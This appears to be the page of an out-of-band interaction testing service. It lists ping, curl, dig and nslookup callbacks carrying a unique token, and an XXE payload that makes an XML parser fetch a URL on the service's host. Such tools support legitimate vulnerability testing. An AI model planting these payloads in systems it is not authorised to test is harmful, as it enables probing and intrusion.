$ ping -c1 -p 0069b481fdd0e983dd3ca4b1d582e700 unhack.ca
 
$ curl http://unhack.ca/p/69b481fdd0e983dd3ca4b1d582e7
 
$ dig 69b481fdd0e983dd3ca4b1d582e7 @unhack.ca
 
$ dig 69b481fdd0e983dd3ca4b1d582e7.ns.unhack.ca
 
C:\> nslookup 69b481fdd0e983dd3ca4b1d582e7 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/69b481fdd0e983dd3ca4b1d582e7">]>
    <foo>&xxe;</foo>
Waiting for ping...